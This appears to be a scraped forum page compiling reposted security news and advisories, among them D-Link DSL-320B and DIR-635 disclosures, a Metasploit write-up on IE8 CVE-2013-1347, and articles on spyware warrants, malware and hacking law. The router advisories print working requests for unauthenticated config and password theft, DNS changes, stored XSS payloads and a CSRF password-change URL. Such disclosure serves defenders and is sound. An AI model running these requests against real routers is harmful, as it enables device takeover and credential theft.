net3design

Device: DSL-320B Firmware Version: EU_DSL-320B v1.23 date: 28.12.2010 Vendor URL: D-Link Deutschland | DSL-320B ADSL2+ Ethernet Modem (Annex A) ============ Vulnerability Overview: ============ Access to the Config file without authentication => full authentication bypass possible!: (1) Request: 192.168.178.111/config.bin Response ===<snip>==== <sysUserName value="admin"/> <zipb enable="1"/> <dns dynamic="disable" primary="1.1.1.1" secondary="2.2.2.3" domain="Home" host="alpha"/> <sysPassword value="dGVzdA=="/> ===<snip>==== => sysPassword is Base64 encoded => you could use this password also for accessing the device via telnet. Access to the logfile without authentication: (1) Request: 192.168.178.111/status/status_log.sys Change the DNS Settings without authentication: (1) Request: http://192.168.178.111/advanced/adv_dns.xgi?&SET/dns/mode=0&SET/dns/mode/server/primarydns=1.1.1.1&SET/dns/mode/server/secondarydns=2.2.2.2 Stored XSS within parental control (2): => Parameter: set/bwlist/entry:1/hostname Request: http://192.168.178.111/home/home_parent.xgi?&set/bwlist/enable=1&set/bwlist/bw_status=0&set/bwlist/entry:1/bw_flag=0&set/bwlist/entry:1/hostname=%22%3E%3Cimg%20src=%220%22%20onerror=alert(1)%3E&set/bwlist/entry:1/weekday=6&set/bwlist/entry:1/begintime=00:00&set/bwlist/entry:1/endtime=23:59&set/bwlist/entry:1/store=1&set/bwlist/apply=1 Again you are able to place this XSS without authentication. Login Credentials in HTTP GET are not a good idea => use HTTP Post! (3) Request: http://192.168.178.111/login.xgi?user=admin&pass=admin1 Credentials in HTTP GET via password change request are not a good idea => use HTTP Post!: (3) Request: http://192.168.178.111/tools/tools_admin.xgi?&set/sys/account/user/oldpwd=admin&set/sys/account/user/password=test&CMT=1 ============ Solution ============ Update to firmware version 1.25 Sursa : http://www.s3cur1ty.de/m1adv2013-018

Department of Labor IE 0-day Exploit (CVE-2013-1347) Now Available at Metasploit Recently, the U.S. Department of Labor website was compromised and had been serving malicious code, capable of detecting and disabling some antivirus products such as Avira, F-Secure, Kaspersky, AVG, Sophos, etc. It would also attack Internet Explorer 8 users with an 0-day exploit. The Metasploit vulnerability research community was particularly interested in the exploit part, therefore that's what we'd like to talk about in this blog. Understanding how the evolving browser security landscape operates is key to formulating defense strategies, after all. First off, according to Microsoft's advisory, only Internet Explorer 8 is vulnerable to this exploit, and we verified that with a fully patched Windows 7 with IE8. If you are looking for an excuse to upgrade to something more recent, the following image demonstrates IE8's weakness: Some people say this is a CVE-2012-4792 (a patched vulnerability), we beg to differ. CVE-2012-4792 is a cbutton use-after-free, but the DoL exploit doesn't use this object at all (Exodus has an excellent writeup about that vulnerability). Instead, a mshtml!CGenericElement::`vtable' is created while appending a datalist element: Allocating 0x4C bytes from InsertElementInternal: 0x0563cfb0 ... 0:008> !heap -p -a poi(0x0563cfb0) address 06a99fc8 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 5087390: 6a99fc8 38 - 6a99000 2000 mshtml!CGenericElement::`vftable' 7c918f01 ntdll!RtlAllocateHeap+0x00000e64 635db42e mshtml!CGenericElement::CreateElement+0x00000018 635a67f5 mshtml!CreateElement+0x00000043 637917c0 mshtml!CMarkup::CreateElement+0x000002de 63791929 mshtml!CDocument::CreateElementHelper+0x00000052 637918a2 mshtml!CDocument::createElement+0x00000021 635d3820 mshtml!Method_IDispatchpp_BSTR+0x000000d1 636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1 63643595 mshtml!CBase::InvokeEx+0x00000025 63643832 mshtml!DispatchInvokeCollection+0x0000014b 635e1cdc mshtml!CDocument::InvokeEx+0x000000f1 63642f30 mshtml!CBase::VersionedInvokeEx+0x00000020 63642eec mshtml!PlainInvokeEx+0x000000ea 633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8 633a6c75 jscript!IDispatchExInvokeEx+0x0000006a 633a9cfe jscript!InvokeDispatchEx+0x00000098 And freed during garbage collection: 0:008> !heap -p -a poi(0x0563cfb0) address 06a99fc8 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 5087390: 6a99000 2000 7c927553 ntdll!RtlFreeHeap+0x000000f9 636b52c6 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d 63628a50 mshtml!CBase::SubRelease+0x00000022 63640d1b mshtml!CElement:: PrivateRelease+0x00000029 6363d0ae mshtml!PlainRelease+0x00000025 63663c03 mshtml!PlainTrackerRelease+0x00000014 633a10b4 jscript!VAR::Clear+0x0000005c 6339fb4a jscript!GcContext::Reclaim+0x000000ab 6339fd33 jscript!GcContext::CollectCore+0x00000113 63405594 jscript!JsCollectGarbage+0x0000001d 633a92f7 jscript!NameTbl::InvokeInternal+0x00000137 633a6650 jscript!VAR::InvokeByDispID+0x0000017c 633a9c0b jscript!CScriptRuntime::Run+0x00002989 633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff 633a59f7 jscript!ScrFncObj::Call+0x0000008f 633a5743 jscript!CSession::Execute+0x00000175 Even though the CGenericElement vftable is freed, the reference is stil kept: 0:008> dc 0x0563cfb0; .echo; dc poi(0x0563cfb0) 0563cfb0 06a99fc8 00000000 ffff0075 ffffffff ........u....... 0563cfc0 00000071 00000000 00000000 00000000 q............... 0563cfd0 00000000 0563cfd8 00000152 00000001 ......c.R....... 0563cfe0 00000000 00000000 0563cfc0 00000000 ..........c..... 0563cff0 00000010 00000000 00000000 d0d0d0d0 ................ 0563d000 ???????? ???????? ???????? ???????? ???????????????? 0563d010 ???????? ???????? ???????? ???????? ???????????????? 0563d020 ???????? ???????? ???????? ???????? ???????????????? 06a99fc8 ???????? ???????? ???????? ???????? ???????????????? 06a99fd8 ???????? ???????? ???????? ???????? ???????????????? 06a99fe8 ???????? ???????? ???????? ???????? ???????????????? 06a99ff8 ???????? ???????? ???????? ???????? ???????????????? 06a9a008 ???????? ???????? ???????? ???????? ???????????????? 06a9a018 ???????? ???????? ???????? ???????? ???????????????? 06a9a028 ???????? ???????? ???????? ???????? ???????????????? 06a9a038 ???????? ???????? ???????? ???????? ???????????????? And of course, this invalid reference ends up with a crash when used by mshtml!CElement:: Doc(): 0:008> g (5f4.2c0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=63aae200 ebx=0563cfb0 ecx=06a99fc8 edx=00000000 esi=037cf0b8 edi=00000000 eip=6363fcc4 esp=037cf08c ebp=037cf0a4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement:: Doc: 6363fcc4 8b01 mov eax,dword ptr [ecx] ds:0023:06a99fc8=???????? As of now, we are not aware of any patch from Microsoft specifically for IE8, but we will be updating this blog as soon as we hear something. If you're a current IE8 user, then please consider the following workarounds: For newer Windows, upgrade to Internet Explorer 9 or 10. For Windows XP users, please use other browsers such as Google Chrome or Mozilla Firefox. If for some reason you must use Internet Explorer 8, please use EMET. Or, you can also try setting IE's security zone to High, and customize your Active Scripting settings. Note that while Microsoft's advisory also suggests setting IE8's Internet security zones to 'High' for ActiveX controls, this, by itself, will not mitigate -- the exploitation technique used here does not leverage ActiveX controls at all. So, while that is generally good advice, it will not help in this case. If you'd like to try out this Metasploit module to better validate your defenses, please feel free to download Metasploit here. If you already have Metasploit Framework, you may just use the msfupdate utility to receive this module. For Metasploit Pro users, you will see this module in the upcoming update. Sursa : https://community.rapid7.com/community/metasploit/blog/2013/05/05/department-of-labor-ie-0day-now-available-at-metasploit

Multiple Vulnerabilities in D'Link DIR-635 Device Name: DIR-635 Vendor: D-Link ============ Vulnerable Firmware Releases: ============ Firmwareversion: 2.34EU Hardware-Version: B1 Produktseite: DIR-635 ============ Vulnerability Overview: ============ Stored XSS -> Status - WLAN -> SSID Injecting scripts into the parameter config.wireless%5B0%5D.ssid_profiles%5B0%5D.ssid reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code. Place the Code via Setup -> Wireless -> Wireless Network Name POST /Basic/Wireless.shtml HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.0.1/Basic/Wireless.shtml Content-Type: application/x-www-form-urlencoded Content-Length: 2307 config.wireless%5B0%5D.radio_control=1&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wlan_schedule_name=Always&config.wireless%5B0%5D.ssid_profiles%5B0%5D.ssid=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%282%29%3E&config.wireless%5B0%5D.erp_protection=true&config.wireless%5B0%5D.phy_mode=11&config.wireless%5B0%5D.auto_channel=true&config.wireless%5B0%5D.channel=6&config.wireless%5B0%5D.tx_rate=0&config.wireless%5B0%5D.cwm_mode=0&config.wireless%5B0%5D.num_streams=65535&config.wireless%5B0%5D.ssid_profiles%5B0%5D.invisibility=0&wireless_invisibility_radio_0=0&config.wireless%5B0%5D.ssid_profiles%5B0%5D.qos=0&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wepon=false&config.wireless%5B0%5D.ssid_profiles%5B0%5D.ieee8021x_enabled=false&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wpa_enabled=true&config.wireless%5B0%5D.ssid_profiles%5B0%5D.keylen=1&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wep_key_type=0&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wep_key%5B0%5D=12345678902551234567890255&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wep_key%5B1%5D=12345678902551234567890255&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wep_key%5B2%5D=12345678902551234567890255&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wep_key%5B3%5D=12345678902551234567890255&config.wireless%5B0%5D.ssid_profiles%5B0%5D.use_key=0&config.wireless%5B0%5D.ssid_profiles%5B0%5D.auth=1&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wpa_mode=2&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wpa_cipher=3&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wpa_rekey_time=3600&config.wireless%5B0%5D.ssid_profiles%5B0%5D.wpa_psk=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281%29%3E&config.wireless%5B0%5D.ssid_profiles%5B0%5D.ieee8021x_reauth_time=60&config.wireless%5B0%5D.ssid_profiles%5B0%5D.radius_server_address=0.0.0.0&config.wireless%5B0%5D.ssid_profiles%5B0%5D.radius_server_port=1812&config.wireless%5B0%5D.ssid_profiles%5B0%5D.radius_shared_secret=radius_shared&config.wireless%5B0%5D.ssid_profiles%5B0%5D.radius_auth_mac=true&config.wireless%5B0%5D.ssid_profiles%5B0%5D.second_radius_server_address=0.0.0.0&config.wireless%5B0%5D.ssid_profiles%5B0%5D.second_radius_server_port=1812&config.wireless%5B0%5D.ssid_profiles%5B0%5D.second_radius_shared_secret=radius_shared&config.wireless%5B0%5D.ssid_profiles%5B0%5D.second_radius_auth_mac=true The code gets executed via Status -> Device Information: http://Target-IP/Status/Device_Info.shtml reflected XSS via Extras -> system Check -> Ping Injecting scripts into the parameter data reveals that this parameter is not properly validated for malicious input. For changing the current password there is no request to the current password With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser. CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management: http://Target-IP/Tools/Admin.shtml?config.password=admin1&config.user_password=&config.gw_name=D-Link+Systems+DIR-635&config.web_server_idle_timeout=5&config.graph_auth=false&config.web_server_allow_https=false&config.web_server_allow_wan_http=false&config.web_server_allow_wan_https=false&config.web_server_wan_port_http=8080&config.web_server_wan_port_https=8181&config.wan_web_ingress_filter_name=Allow+All&wan_ingress_filter_details=Allow+All Sursa : http://www.s3cur1ty.de/m1adv2013-013

Desc?rcarea de muzic? online se va realiza în China doar contra cost, a afirmat joi directorul adjunct al Administra?iei na?ionale chineze a pentru drepturi de autor, confirmând astfel oficial o ?tire lansat? cu o lun? în urm? de surse locale din domeniul muzical, care au anun?at c? de la 1 iulie 'pia?a muzical? din China va începe o er? a copiilor legale', relateaz? agen?ia Xinhua. Potrivit responsabilului chinez, cei care descarc? muzic? de pe internet vor trebui s? pl?teasc? o tax? de?in?torilor acestor portaluri, dar ace?tia din urm? vor putea s? ofere acces gratuit la anumite con?inuturi pentru a beneficia de veniturile din publicitate. Taxarea serviciilor de muzic? online, foarte populare pe site-urile chineze precum Xiami sau Baidu (motoare de c?utare ce dep??esc Google pe pia?a chinez? în privin?a acestor servicii), este o consecin?? a reformei Legii drepturilor de autor, prin care se încearc? penalizarea pirateriei. Se estimeaz? c? circa 400 de milioane de chinezi folosesc serviciile online pentru desc?rcarea de muzic?. Sursa : Solu?ie chinezeasc? contra PIRATERIEI informatice - IT & C > Capital.ro

AMD a lansat noua plac? grafic? AMD Radeon HD 7990, cea mai rapid? plac? grafic? din lume, creat? pentru gamerii care vor s? beneficieze de cea mai bun? experien?? de joc pe PC. Prin al?turarea a dou? dintre cele mai rapide procesoare grafice din lume ?i a 6 GB de memorie GDDR5, AMD Radeon HD 7990 este cea mai rapid? plac? grafic? din lume. Având la baz? premiata arhitectur? AMD Graphics Core Next (GCN) ?i tehnologie AMD Eyefinity, noul AMD Radeon HD 7990 asigur? performan?e de neegalat ?i cele mai bune tehnologii pentru jocuri DirectX 11 la rezolu?ii extreme ?i configura?ii multi-monitor. AMD Radeon HD 7990 asigur? suport pentru pân? la ?ase monitoare conectate simultan cu ajutorul tehnologiei AMD Eyefinity, fiind placa grafic? ideal? pentru gaming pe ecrane Ultra HD (rezolu?ie 4K). Odat? cu lansarea pl?cii grafice AMD Radeon HD 7990, AMD ofer? cel mai mare pachet gratuit de jocuri din istorie, cu un total de 8 titluri: • “Crysis 3” • “BioShock Infinite” • “Tomb Raider” • “DeusEx: Human Revolution” • “Sleeping Dogs” • “Hitman: Absolution” • “Far Cry 3” • “Far Cry 3: Blood Dragon” Sursa : http://www.capital.ro/detalii-articole/stiri/amd-a-lansat-cea-mai-rapida-placa-grafica-din-lume-181243.html

It deals very interestingly with the zone in which busting cybercrooks and protecting privacy intersect. The judge who wrote it also gives some refreshingly readable remarks about the way in which words like "cyberspace" and "cloud" have sidetracked us into behaving as though the internet had no real-world existence. The case in point deals with an application by the US Federal Bureau of Investigation (FBI) for a warrant to conduct covert surveillance on one or more cybercriminals. Loosely speaking, the cops wanted permission to sneak spyware onto a computer that they were pretty sure was being used to carry out bank fraud. The computer wasn't just used for a $75 credit card fraud, but to "attempt a sizeable wire transfer from [the victim's] local bank to a foreign bank account." I'm sure you can see this from both sides. (The court's and the cops' sides, not the cops and the crooks!) Here's someone from who-knows-where, acting semi-anonymously on the internet, trying to steal money off one of your countrymen by sending it on an irreversible journey overseas. The bank is in your jurisdiction, the money is in your jurisdiction, and so is the victim; it's reasonable to assume that this sort of crime is not a one-off, and that, if successful, the crooks are going to go after more money from more victims. Your most realistic chance of finding out the who, where and how is to keep your eye on what happens on the computer that the crooks are using. Whom are they emailing? What websites are they using? What chat forums are they part of? What are they typing in before it gets encrypted for transmission? Are there any other victims they're trying to defraud right now? Heck, if you could commandeer that computer, and it turned out to have a webcam, you might even be able to grab a mugshot of the crooks in flagrante delicto. Law enforcement in Georgia (the country in Europe, not the state in the USA) did something along those lines last year, for example. But there are two obvious problems here: The computer isn't physically in your jurisdiction. The computer might not belong to the crooks. As the judge in this matter points out, there are some other tricky issues, too: How do you locate the computer accurately in the first place? If you pin it down, how do you get the spyware onto it? If you infect it, how do you ensure you don't collect too much data? How do you make sure you don't infect others along the way? There are even some legally punctilious matters buried in all of this, such as whether snapping still images from the video stream of a webcam counts as photo surveillance or as video surveillance, which in the US are subject to different statutory minutiae. Tricky stuff! To cut to the chase, the judge denied the application, and refused permission for the spyware, noting that: [Nowhere] does the Government explain how it will ensure that only those "committing the illegal activity will be...subject to the [spyware] technology." What if the Target Computer is located in a public library, an Internet cafe, or a workplace accessible to others? What if the computer is used by family or friends uninvolved in the illegal scheme? What if the counterfeit email address is used for legitimate reasons by others unconnected to the criminal conspiracy? What if the email address is accessed by more than one computer, or by a cell phone and other digital devices? There may well be sufficient answers to these questions, but the Government's application does not supply them. "What if," indeed. Interestingly, the judge forgot to add, "What if the computer is already infected with spyware or other malware, and has no connection at all with the crooks, or even with their friends and family, but rather to some utterly innocent and unknowing third party?" Fans of privacy and on-line freedom will no doubt cheer this judgement. It shows, in my opinion, a great deal of common sense and fairness: general-purpose spyware installed on an unknown computer may very well expose a wide range of intimate secrets about any number of people, including innocent parties. Yet it's not all doom-and-gloom for law enforcement, who will no doubt be disappointed to have lost a chance that would, almost certainly, have gleaned useful information about cybercriminal activity. The judge was careful to conclude by saying: "The court finds that the Government's warrant request is not supported by the application presented. This is not to say that such a potent investigative technique could never be authorized. And there may well be a good reason to update the territorial limits of [the rules to do with US court warrants]". In other words, as far as FBI spyware goes, watch this space! By the way, whether you agree with the judge (privacy trumps search-and-seizure), or with the cops (cut us a bit more latitude to take on international cybercrime), there is a lesson in here for all of us . If the court considers your legalistic well-being to be at risk from spyware deployed and used by accredited law enforcement professionals, just think how huge the risk is from spyware used by cybercriminals. Keep your security patches, your anti-virus software and your network devices like routers and firewalls up-to-date! Sursa : http://nakedsecurity.sophos.com/2013/04/25/government-seeks-a-warrant-to-hack-us-judge-gives-his-decision/

Lacking the lightning-fast reflexes needed to get past the Samsung Galaxy Note 2's lock screen? Hampered by pesky morality that forces you to forego the placing of bogus emergency calls so as to hack iPhone passcodes? Not that you should want to do any of that, mind you, but just to pile onto the spate of recently revealed smartphone hijacking methods, a new flaw in Viber allows hackers to more easily bypass Androids' lock screens than these previous finger-twisters. Viber, which boasts over 175 million worldwide users and by its own account is growing crazy fast, is a smartphone app for Android, iPhone, Blackberry, Windows Phone and other devices and platforms that lets users call, text, and send photos for free. As Softpedia's Eduard Kovacs reports, researchers at Bkav have identified a security hole in Viber that can be exploited to bypass Android smartphones' lock screen and gain full access to the device. Bkav describes the lockscreen bypass as "simple," though the steps might slightly differ among different phones. The exploit steps are shown in four videos (one for each handset) on the company's site. The Samsung version: The exploit entails a few actions on Viber's new-message popups, combined with a few other tricks to gain full access to the phone. Mr. Nguyen Minh Duc, Director of Bkav's Security Division, says the security hole comes out of the weird way in which Viber handles messages: "The way Viber handles to popup its messages on smartphones' lock screen is unusual, resulting in its failure to control programming logic, causing the flaw to appear." Bkav, which posted a blog about the flaw on Tuesday, says it told Viber about the flaw last week but hasn't yet gotten a response. The company suggests that while we wait for Viber to fix the vulnerability, we should keep our smartphones close and out of the hands of anybody, be they friend or foe. And, of course, as go all security patches so goes Viber: make sure to update the app as soon as a patch is available. Sursa : Viber flaw bypasses lock screen to give full access to Androids | Naked Security

Culminating a two-week trial in which no hacking in the traditional sense occurred, a California man was convicted Wednesday under the same hacking statute internet sensation Aaron Swartz was accused of before he committed suicide in January. Defendant David Nosal was convicted by a San Francisco federal jury on all six charges ranging from theft of trade secrets to hacking, despite him never breaking into a computer. Nosal remains free pending sentencing later this year, when he faces a potential lengthy prison term. Nosal, a middle-aged man wearing a dark suit, sat stone faced as a clerk read “guilty” on all counts. Jurors deliberated for little more than two days. After U.S. District Judge Edward Chen dismissed the 12-member jury, Nosal’s defense team demanded a hearing to urge the judge to set aside the verdict. A hearing was set for later this year. “We think, legally, these counts can’t stand,” Steven Gruel, a Nosal lawyer, said outside the courtroom. Prosecutors declined comment. Nosal’s prosecution was a novel application of the Computer Fraud and Abuse Act, the same statue Swartz was accused of violating when he allegedly breached security controls of an MIT database and downloaded millions of JSTOR academic articles. After Swartz’s death, the case set off calls across the nation to reform the 1984 hacking law and perhaps even reduce the 5-year terms each violation carries. But unlike Swartz, Nosal never was accused of traditional hacking. Among other things, what the jury concluded was that he coaxed, sometimes through monetary payments, his former colleagues at Los Angeles-based executive search firm Korn/Ferry International to access the firm’s proprietary database and provide him with trade secrets to help him build a competing firm. Those associates cooperated with the government and were not charged. The Computer Fraud and Abuse Act was passed in 1984 to enhance the government’s ability to prosecute hackers who accessed computers to steal information or to disrupt or destroy computer functionality. The act makes it a federal offense if one “knowingly and with intent to defraud, accesses a protected computer without authorization, or exceeds authorized access, and by means of such conduct furthers the intended fraud and obtains anything of value, unless the object of the fraud and the thing obtained consists only of the use of the computer and the value of such use is not more than $5,000 in any 1-year period.” Prison penalties are up to 5 years per violation. Nosal’s case has had a lengthy history, with two trips to the San Francisco-based 9th U.S. Circuit Court of Appeals. A third trip is likely and perhaps the Supreme Court might weigh in to set boundaries around how far the government may go in prosecuting so-called hacking. The 9th U.S. Circuit Court of Appeals, ruling in Nosal’s case for a second time last year, decided that employees may not be prosecuted under the anti-hacking statute for simply violating their employer’s computer use policy. The appeals court had tossed several charges against Nosal stemming from when he was a still a Korn/Ferry employee, in which he was accused of using his work credentials in 2005 to access his employer’s database to help build a competing business for himself. To be sure, the government indeed levies charges under the anti-hacking statute targeting traditional hackers. Two California men, for example, were sentenced between two and four years Monday in an extortion scheme stemming from the hacking of e-mail accounts of professional poker players. But clearly, you don’t have to be a hacker to be charged as one. An online social media editor for the Reuters news agency, for example, was indicted last month for allegedly helping members of Anonymous hack another media organization’s network. Matthew Keys, the now-fired 26-year-old deputy social media editor for Reuters in New York, allegedly provided log-in credentials for a server owned by the Tribune Company, his former employer. He encouraged members of Anonymous to use the credentials to “go fuck some shit up,” according to prosecutors. Sursa : Man Convicted of Hacking Despite Not Hacking | Threat Level | Wired.com

ANCOM propune stabilirea unor masuri minime de securitate pentru retelele si serviciile telecom Furnizorii de retele si servicii de comunicatii vor trebui sa stabileasca masuri tehnice si organizatorice in vederea asigurarii unui nivel adecvat al securitatii si integritatii retelelor si serviciilor de comunicatii, potrivit unui proiect de decizie al autoritatii de reglementare (ANCOM). Potrivit proiectului de decizie, printre obligatiile ce vor fi impuse in sarcina furnizorilor se afla atat stabilirea unui management al riscului, a unui sistem de detectare a incidentelor, cat si a unei strategii proprii pentru asigurarea continuitatii furnizarii retelelor si serviciilor de comunicatii in situatiile generate de perturbari grave ale functionarii acestora, precum si asigurarea protectiei retelelor si serviciilor impotriva atacurilor informatice. "Prin impunerea unor masuri minime de securitate in sarcina furnizorilor, autoritatea urmareste sa reduca semnificativ numarul de incidente, intreruperi operationale si fraude, sa previna pierderea, distrugerea, furtul sau compromiterea diverselor resurse ale furnizorilor, dar si sa optimizeze calitatea serviciilor de comunicatii oferite utilizatorilor si sa creasca increderea acestora in serviciile de comunicatii", se arata intr-un comunicat al ANCOM. Proiectul de decizie propune, totodata, stabilirea unei proceduri nationale de raportare a incidentelor de securitate cu impact semnificativ, incidentele reprezentand acele evenimente care pot afecta sau ameninta, direct sau indirect, securitatea si integritatea retelelor si serviciilor de comunicatii la nivel national sau european, scrie Mediafax. Astfel, furnizorii de retele publice de comunicatii electronice sau de servicii de comunicatii electronice destinate publicului vor avea obligatia de a transmite ANCOM o notificare initiala privind aparitia unui incident cu impact semnificativ (care afecteaza un numar mai mare de 5.000 de conexiuni, timp de cel putin 60 de minute), in termen de sase ore de la detectarea acestuia, precum si o notificare finala privind existenta acestui incident in termen de doua saptamani de la detectarea acestuia. ANCOM va informa publicul prin intermediul paginii proprii de internet Autoritatea Nationala pentru Administrare si Reglementare in Comunicatii despre existenta unor astfel de incidente, raportate de furnizori, in cazurile in care acestea sunt in interesul public. De asemenea, la solicitarea ANCOM, si furnizorii vor informa publicul cu privire la producerea acestui tip de incident. Pentru a stabili domeniile in care este nevoie de impunerea unor masuri de securitate si pentru a determina procedura de raportare a incidentelor de securitate cu impact semnificativ cuprinse in proiectul de decizie supus consultarii publice, ANCOM a desfasurat in cursul anului 2012 doua studii referitoare la securitatea si integritatea retelelor si serviciilor de comunicatii electronice. Primul dintre acestea a vizat incidentele care au afectat continuitatea furnizarii retelelor si serviciilor de comunicatii electronice in anul 2011, in timp ce al doilea s-a referit la masurile de securitate implementate de furnizori. Ultimul studiu a indicat faptul ca cei mai multi furnizori nu au proceduri adecvate de tratare a incidentelor, de cele mai multe ori actiunile fiind decise pe loc, in momentul aparitiei incidentului. De asemenea, cei mai multi furnizori isi informeaza utilizatorii despre incidentele semnificative doar atunci cand acestia solicita acest lucru sau cand apar reclamatii, iar notiunea de „incident semnificativ” este perceputa in mod diferit in randul respondentilor. Proiectul de decizie poate fi consultat pe pagina web a institutiei, persoanele interesate fiind invitate sa formuleze si sa transmita observatii si propuneri pana la data de 27 mai. Sursa : wall-street.ro

Google a lansat, in cadrul serviciului Webmasters Tools, o pagina dedicata posesorilor de siteuri compromise. Websiteuri care au fost sparte sau in care a fost introdus continut malware. Google a facut si un filmulet educativ care merita vazut de toti cei care sunt la inceput de drum cu siteul personal dar si de webmasterii un pic mai experimentati.

Multumesc

Propuneri de lege anti-internet precum ACTA, PIPA ?i SOPA, dar ?i preocuparea constant? a Comisiei Europene pentru protejarea utilizatorilor de internet sunt numai câteva dintre motivele care fac din problema confiden?ialit??ii datelor pe internet o problem? actual? ?i tot mai intens dezb?tut?. Exist?, totu?i, câteva metode simple prin care orice internaut î?i poate proteja datele personale, f?r? a se opri din navigare. 1. Browser-ul TOR este o bun? unealt? în slujba anonimatului pe internet. De?i func?ioneaz? ca un browser comun, acesta se diferen?iaz? prin faptul c? garanteaz? de la bun început c? nu re?ine ?i distribuie date privind locul din care a fost accesat internetul, dispozitivul implicat sau istoricul de navigare. The Tor Browser Bundle poate fi desc?rcat gratuit ?i este valabil pentru Windows, Mac ?i Linux, potrivit Business Insider. 2. Duck Duck Go este un motor de c?utare alternativ. Dac? Google ofer? publicitate direc?ionat? comportamental ?i emite rapoarte de transparen?? cu privire la comportamentul de c?utare al utilizatorilor s?i, Duck Duck Go este cu siguran?? alternativa care garanteaz? anonimatul pe internet, nu p?streaz? niciun fel de istoric cu privire la utilizatori ?i func?ioneaz? la acelea?i standarde de calitate. 3. HTTPS Everywhere este un plug-in dedicat Firefox ?i Google Chrome care detecteaz? website-urile nesigure ?i care îl ?ine la curent pe utilizator cu modul sau m?sura în care îi sunt preluate ?i prelucrate datele. 4. Cryptocat este un serviciu de mesagerie open source care întrece Facebook Chat ?i Skype prin faptul c? este 100% privat. 5. Silent Circle este un serviciu contra-cost, realizat de fondatorii PGP, una dintre cele mai sigure platforme din lume la nivel de confiden?ialitate a datelor. Silent Circle include e-mail, video chat, telefonie ?i nu numai. https://www.torproject.org/index.html.en https://duckduckgo.com https://www.eff.org/https-everywhere https://crypto.cat https://silentcircle.com Sursa : http://www.stiri.com.ro/stire-44719/cinci-instrumente-care-iti-asigura-confidentialitatea-datelor-pe-internet.html

The family of Android malware that slipped past security defenses and infiltrated Google Play is more widespread than previously thought. New evidence shows it was folded into three additional apps and has been operating for at least 10 months, according to security researchers. BadNews, as the malicious ad network library is called, has been included in at least 35 different apps that were available on Google servers for download, researchers from antivirus provider Bitdefender said Monday. As Ars reported last week, figures provided by Google showed they had been downloaded anywhere from two million to nine million times. Although Google had removed 32 apps as of Friday, company security personnel didn't remove the additional three apps until they were flagged this weekend by Bitdefender. Apps that contain the BadNews code upload phone numbers, unique device identifiers, and other data from infected phones and then present end users with prompts to download and install fake updates for legitimate applications such as Skype. The Bitdefender report came as researchers from security firm Fortinet reported the deactivation of a Google Play developer account that was also pushing a suspicious app. It's unclear why Google employees removed the additional apps only after Bitdefender discovered them. It's possible that the code uses polymorphism to keep from displaying tell-tale signatures that could be caught by Bouncer, the cloud-based scanning service Google unveiled last year. A more depressing possibility is that the company didn't run a new set of scans on its existing base of offerings after receiving last week's report. Google representatives declined to comment on the record about the Bitdefender report. "We've been saying for a while that there's aggressive adware that collects your data, collects all kinds of stuff on you, but now you can actually bypass Google security by using the custom-made adware framework," Bitdefender researcher Liviu Arsene told Ars. "As long as I convince enough developers to use my adware framework, I can push any type of content I want through that framework." Among the malicious apps promoted by BadNews is AlphaSMS, a trojan that racks up charges by sending text messages to pricey services. Arsene said the malicious BadNews code library used to push such apps has been in existence since at least June 2012, although some of the apps that included it didn't initially display the fake update notifications. "Although it didn't feature the push notification telling users to install fake updates—like the Skype update, for instance—it did have the function built into it," he explained. "It was kind of like someone was testing it but they didn't actually go along and have the malware. Somebody was testing the adware framework before it actually went and disseminated malware." The revelation that some of the malicious functionality was never activated means that some users infected by BadNews may never have noticed anything awry. Even after a malicious update is displayed on an infected device, the user must specifically choose to download and install it and must have configured the phone to install apps from third-party sources. Still, while many Android users in the US rely solely on Google Play, third-party sources are much more popular in China and other countries. Ultimately, there's no independent way to know just how many end users may have fallen for the ruse. The takeaway for Android users is to consider running a smartphone antivirus app. The Bitdefender product has been detecting BadNews code since June 2012 as Android.Trojan.InfoStealer.AK, Arsene said. Apps from other AV providers, including Lookout Mobile Security, also detect the BadNews apps. Users should think long and hard before allowing their devices to install apps from sources other than Google Play. The fact that the service has been hosting malicious titles for almost a year suggests this protection is by no means ironclad. Still, it can add an important layer of defense even when malicious apps do sneak past Google defenses.

